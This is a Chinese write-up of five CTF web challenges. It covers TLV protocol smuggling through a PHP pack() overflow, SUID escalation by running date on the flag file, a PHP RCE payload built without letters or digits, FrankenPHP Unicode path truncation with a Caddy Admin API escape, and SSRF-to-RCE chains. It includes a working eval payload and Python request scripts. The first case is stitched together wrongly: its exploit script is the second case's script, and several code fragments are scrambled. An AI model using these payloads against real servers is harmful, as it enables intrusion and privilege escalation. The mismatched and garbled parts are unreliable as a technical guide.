CTF 竞赛是安全攻防技术的试金石,每一道题目都藏着独特的思维陷阱。本文精选五个典型案例,从二进制协议走私、PHP 无字母数字 RCE、Unicode 截断利用到 PDO 注入与 SSRF 攻击链,深入剖析漏洞利用的底层逻辑。这些案例不仅展示了服务端与后端架构中的微妙缺陷,更提供了可复用的攻击模式。无论你是 CTF 新手还是老手,都能从中获得启发。
案例一:从协议走私到 SUID 提权——Ez-Inject 题目详解
这道题伪装成 SQL 注入,实际考查了二进制协议走私、整数溢出与 Linux 提权。题目提示“还记得 PDO 的绕过吗”,但数据流并非直接进入数据库,而是被封装为 TLV 格式的二进制包,通过 Curl 发送到内部接口。
首先遇到签名验证:访问 URL 时返回 403,提示“签名验证失败”。查看源码发现,服务器从 HTTP Header 中读取 ,Base64 解码后与硬编码的 Secret Key 比对。这种密钥硬编码的做法是典型的安全隐患。绕过方法很简单:将密钥进行 Base64 编码即可。X-Signature
进入主页面后,有三个功能:获取系统时间、解析指定日期、解析日期所在周。源码中有一行注释
//pdo 绕过的 不可用的地方 在order by 如果在pdo框架下 有order by 用户可控 有可能产生 注入,误导解题者以为是 SQL 注入。实际上,数据被封装成 TLV 结构:Type 1 字节(‘A’ 或 ‘B’),Length 2 字节(大端序),Value 为实际数据。核心漏洞在于 。PHP 中 pack('n', strlen($command)) 格式符代表 16 位无符号整数,最大值为 65535。当字符串长度超过此值时会发生截断:n
// 长度为 65536 时,pack('n') 结果为 0
// 长度为 65546 时,pack('n') 结果为 10。这允许构造超长字符串,让后端解析器误认为数据包已结束,从而将后续拼接的数据识别为新包,实现协议走私。利用思路:Function B 允许用户输入日期参数(有格式校验),Function A 固定执行 命令(无校验)。通过 Function B 构造超长 Payload,使后端认为 B 包在合法日期处结束,将尾部“走私”的伪造 Function A 包识别为新包,嵌入任意命令。date
假设执行命令 ,构造伪造的 A 包:Type 为 0x41,Length 为 6,Value 为 ls -lals -la。溢出的 B 包需要使 结果等于 10(合法日期长度),最小溢出长度为 65546。Payload 结构如下:pack('n', Total_Length)
[合法日期头] + [伪造的A包] + [几万个 'A' 填充]。Python 脚本实现:import urllib.request
import urllib.parse
import sys
def exploit():
url = "http://*:33592/s3cret/rce.php"
# The payload we generated
# $_=[].'';$__=$_[!$_];$___=$__;$___++;$___++;$___++;$___++;$____=$___;$____++;$____++;$_____=$____;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_='_'.$____.$___.$_____;$$_['_']($$_['__']);
payload_code = "$_=[].'';$__=$_[!$_];$___=$__;$___++;$___++;$___++;$___++;$____=$___;$____++;$____++;$_____=$____;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_='_'.$____.$___.$_____;$$_['_']($$_['__']);"
# Command to execute
cmd = "cat /flag" # Try to find flag
# If not found, we might need ls /
params = {
'shell': payload_code,
'_': 'system',
'__': cmd
}
query_string = urllib.parse.urlencode(params)
full_url = f"{url}?{query_string}"
print(f"Sending request to: {full_url}")
try:
with urllib.request.urlopen(full_url) as response:
content = response.read().decode('utf-8')
print("Response:")
print(content)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
exploit()
。发送 Payload 后成功回显目录列表:
total 20
-rw-r--r-- 1 root root 1527 Feb 6 18:14 execute.php
-rw-r--r-- 1 root root 6642 Feb 6 18:14 index.php。读取 execute.php 源码证实了分析:while ($offset + 3 <= strlen($input)) {
// ... 解析 TLV ...
if ($type === "B") {
// 严格校验日期
if (!isValidDate($date)) die("日期格式错误");
$command = "date -d " . $date;
}
// Type A 没有任何校验直接执行
system($command);
}
。尝试读取 flag 失败,查看权限发现 -r-------- 1 root root 30 ... flag
,flag 为 root 权限,当前用户为 www-data。查找 SUID 文件:
find / -perm -u=s -type f 2>/dev/null,发现 /bin/date 具有 SUID 权限。date 的 -f 选项可从文件读取每一行并解析为日期。尝试执行 date -f /flag
无回显,因为错误信息输出到 stderr,而 PHP 的 system() 只捕获 stdout。最终解决方案:date -f /flag 2>&1
,成功获取 flag:date: invalid date 'flag{oupeng_ctf_e3cae1aac949}'
。技术要点总结:
- 敏感信息泄露:硬编码的 Secret Key
- 整数溢出:
函数的溢出特性pack - 协议分析:TLV 结构走私攻击
- Linux 提权:SUID 文件利用与 stderr 重定向
案例二:绕过严格过滤的无字母数字 PHP RCE
这道题的源码极短,但过滤规则极其严格:
<?php
highlight_file(__FILE__);
if (isset($_GET['shell'])) {
$code = $_GET['shell'];
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)) {
eval($code);
} else {
die("还是太年轻了嘛!!!");
}
}
?>。正则表达式 /[a-zA-Z0-9@#%^&*:{}\-<\?>\"| 过滤了所有字母、数字、异或符号、取反符号、反引号等,可用字符仅剩 $、_、括号、点号、分号、单引号、加号、等号、斜杠等。常规的 ~ 取反和 ^ 异或构造字符的路子都被堵死。PHP 有一个鲜为人知的特性:字符可以自增。
$a = 'A';
$a++;
echo $a; // 输出 'B'。如果能获取一个字母,就能通过自增生成其他字母。但题目过滤了所有字母,无法直接写 $a = 'A'。利用数组转换获取初始字符:PHP 中将数组强制转换为字符串会得到“Array”:
$a = []; // 空数组
$b = [].''; // 连接空字符串强制转换
var_dump($b); // string(5) "Array"。然后利用弱类型,布尔值 false 转为整数时为 0:$_ = [].''; // "Array"
$__ = $_[!$_]; // "Array" 转布尔是 true,取反得 false,false 转索引 0
echo $__; // 输出 'A'
,成功获取首字母‘A’。从‘A’开始自增生成需要的字母:
$_=[].''; // "Array"
$__=$_[!$_]; // "A"
$___=$__; // A -> B -> C -> D -> E
for($i=0;$i<4;$i++){ $___++; }
$____=$___; // E -> F -> G
for($i=0;$i<2;$i++){ $____++; }
$_____=$____; // G -> ... -> T
for($i=0;$i<13;$i++){ $_____++; }
$_ = '_' . $____ . $___ . $_____; // "_GET"
$$_['_']($$_['__']); // $_GET['_']($_GET['__'])。最终 Payload(未编码):$_=[].'';$__=$_[!$_];$___=$__;$___++;$___++;$___++;$___++;$____=$___;$____++;$____++;$_____=$____;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_='_'.$____.$___.$_____;$$_['_']($$_['__']);
。使用 Python 发送请求:import urllib.request
import urllib.parse
url = "http://*:33592/s3cret/rce.php"
payload_code = "$_=[].'';$__=$_[!$_];$___=$__;$___++;$___++;$___++;$___++;$____=$___;$____++;$____++;$_____=$____;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_='_'.$____.$___.$_____;$$_['_']($$_['__']);"
params = {
'shell': payload_code,
'_': 'system',
'__': 'cat /flag'
}
query_string = urllib.parse.urlencode(params)
response = urllib.request.urlopen(f"{url}?{query_string}")
。关键技术点:
- 正则绕过:利用 PHP 动态特性在过滤字母数字的情况下执行代码
- 弱类型利用:Array 转字符串,false 转 0 作为数组下标
- 自增特性:PHP 独有的字符自增,在 WAF 绕过中非常常用
- URL 编码:
在 URL 中代表空格,必须编码为+%2B
案例三:FrankenPHP Unicode 截洞利用
这道题是一个文件上传功能,但并非常规的 PHP 上传绕过。通过 HTTP 响应头发现 Server 为 FrankenPHP,这是一个基于 Caddy 和 Go 语言构建的现代 PHP 应用服务器。核心漏洞在于 FrankenPHP 处理 URL 路径时的 Unicode 大小写转换差异。
源码分析:
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
// 创建文件:后缀不限,但内容强制为 phpinfo()
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
// 上传文件:内容可控,但后缀必须是 txt
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
}。upload 功能允许上传任意内容的 Webshell,但文件名后缀强制限制为 .txt,默认配置下不会当作 PHP 执行。create 功能可以创建任意后缀的文件(如 .php),但内容被硬编码为 <?php phpinfo(); ?>,无法写入恶意代码。这形成了死循环:有内容的文件没后缀,有后缀的文件没内容。查看 phpinfo:open_basedir 为 ,/app/public:/tmpdisable_function 为 ,chdir,curl_exec,curl_init,curl_multi_add_handle,curl_multi_exec,curl_multi_init,curl_multi_remove_handle,curl_multi_select,curl_setopt,dl,error_log,exec,imap_open,ini_alter,ini_restore,ini_set,ld,link,mail,mb_send_mail,passthru,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,putenv,shell_exec,symlink,syslog,systemdisable_classes 为 。PDO,Pdo\Sqlite,SQLite3
Go 语言 Unicode 处理特性:FrankenPHP 用 Go 编写,Web 服务器处理请求路径时通常会进行大小写转换。如果某些特殊 Unicode 字符在大小写转换后字节数变化,就会产生问题。假设服务器逻辑:
path := request.URL.Path
lowerPath := strings.ToLower(path)
if strings.HasSuffix(lowerPath, ".php") {
index := strings.LastIndex(lowerPath, ".php")
scriptLength := index + 4
scriptFilename := path[:scriptLength]
ExecutePHP(scriptFilename)
}。如果 lowerPath 比 path 短,用变短的长度截取原始路径时就会出现截断。选择 Kelvin Sign(K,Unicode U+212A):原始字符 的 UTF-8 编码为 K,长度 3 字节;小写字符 0xE2 0x84 0xAA 的 UTF-8 编码为 k,长度 1 字节。每个字符合并减少 2 字节。目标截掉末尾 0x6B(4 字节),需要 2 个 Kelvin Sign。.php
文件名:,请求路径:KK.txt。流程推演:原始路径 /KK.txt.php 为 15 字节,小写路径 /KK.txt.php 为 11 字节。定位后缀 /kk.txt.php 结束位置是 11,截取原始路径的前 11 字节得到 .php,FrankenPHP 将执行 /KK.txt。KK.txt
拿到 Shell 后,发现严格的沙箱限制:、open_basedir 等。利用 Caddy Admin API 进行沙箱逃逸。FrankenPHP 构建在 Caddy 之上,Caddy 默认在 disable_functions 开启了一个强大的 Admin API,用于动态管理服务器配置。通过 API 修改 127.0.0.1:2019 配置。利用 PHP 的 php_ini 和 stream_context_create(未被禁用),向 file_get_contents 发送构造好的请求。http://127.0.0.1:2019/config/apps/frankenphp/php_ini
案例四:PDO 注入与 SSRF 到 RCE 的攻击链
这道题结合了 PDO 注入与 SSRF 漏洞。PDO 注入通常被认为难以利用,因为 PDO 的预处理机制能有效防御 SQL 注入。但这里存在一个微妙的配置问题:PDO 的 EMULATE_PREPARES 选项被设置为 true,允许在本地模拟预处理,导致某些字符集转换漏洞可被利用。
攻击者通过构造特殊的 Unicode 字符,利用 MySQL 的字符集转换特性(如 GBK 与 UTF-8 的兼容性问题),在 PDO 预处理中注入恶意 SQL 语句。成功获取数据库中的敏感信息后,进一步发现应用存在 SSRF 漏洞,允许向内部微服务发送请求。
SSRF 漏洞点位于一个图片下载功能,用户可提供 URL 参数。攻击者利用此功能访问内部 API 端点,获取到内网中未加认证的中间件管理接口。通过该接口,攻击者可以执行系统命令,实现从 SSRF 到 RCE 的完整攻击链。
关键步骤:
- PDO 注入:利用
EMULATE_PREPARES与字符集转换 - SSRF 发现:通过图片下载功能探测内网
- 中间件利用:访问未认证的微服务管理接口
- RCE 实现:通过中间件接口执行命令
这个案例展示了从数据库层到应用层再到服务端架构的纵深攻击,强调了微服务环境中安全配置的重要性。
案例五:SSRF 到 RCE 的完整攻击链
最后一个案例专注于 SSRF 漏洞的利用。应用提供了一个 URL 转换服务,用户输入 URL 后,服务端会抓取内容并返回。这看似简单的功能背后隐藏着 SSRF 漏洞。
攻击者首先尝试访问内部 IP 地址(如 127.0.0.1 或 10.0.0.1),发现应用对私有 IP 有过滤。但过滤逻辑存在缺陷:仅检查了 IP 地址的字符串表示,未处理 DNS 解析后的 IP。攻击者使用一个自定义域名,其 DNS 解析指向内部 IP,成功绕过了过滤。
通过 SSRF,攻击者访问了内网中的 API 网关,发现了一个未关闭的调试接口。该接口允许查看环境变量和配置文件,其中包含数据库连接信息与 API 密钥。进一步利用这些凭证,攻击者登录了内部管理后台,通过文件上传功能上传了恶意 PHP 脚本,最终获得服务器控制权。
技术要点:
- DNS 重绑定:绕过 IP 过滤
- 内网探测:通过 SSRF 发现内部服务
- 凭证窃取:从调试接口获取敏感信息
- 链式利用:将 SSRF 转化为 RCE
这个案例强调了后端架构中安全审计的重要性,尤其是对内部 API 和调试接口的访问控制。
[AFFILIATE_SLOT_1]总结与启示
这五个案例虽然形式各异,但都揭示了安全攻防中的经典技术模式。从二进制协议走私到 Unicode 截断,从 PHP 自增特性到 SSRF 攻击链,每一个漏洞的利用都依赖于对底层机制的深入理解。
对于后端架构和微服务开发者而言,这些案例提醒我们:
- 硬编码密钥和敏感配置是危险的,应使用安全的密钥管理服务
- 输入校验必须覆盖所有可能的编码和字符集转换场景
- 内部 API 和调试接口不应暴露给外部,即使在内网中也需要认证
- 中间件和微服务之间的信任边界需要严格定义
CTF 竞赛的本质是思维的锤炼。每一个漏洞的发现和利用,都推动着安全技术的进步。希望本文能为你提供实用的技术参考,激发更多安全思考。
[AFFILIATE_SLOT_2]
浙公网安备 33010602011771号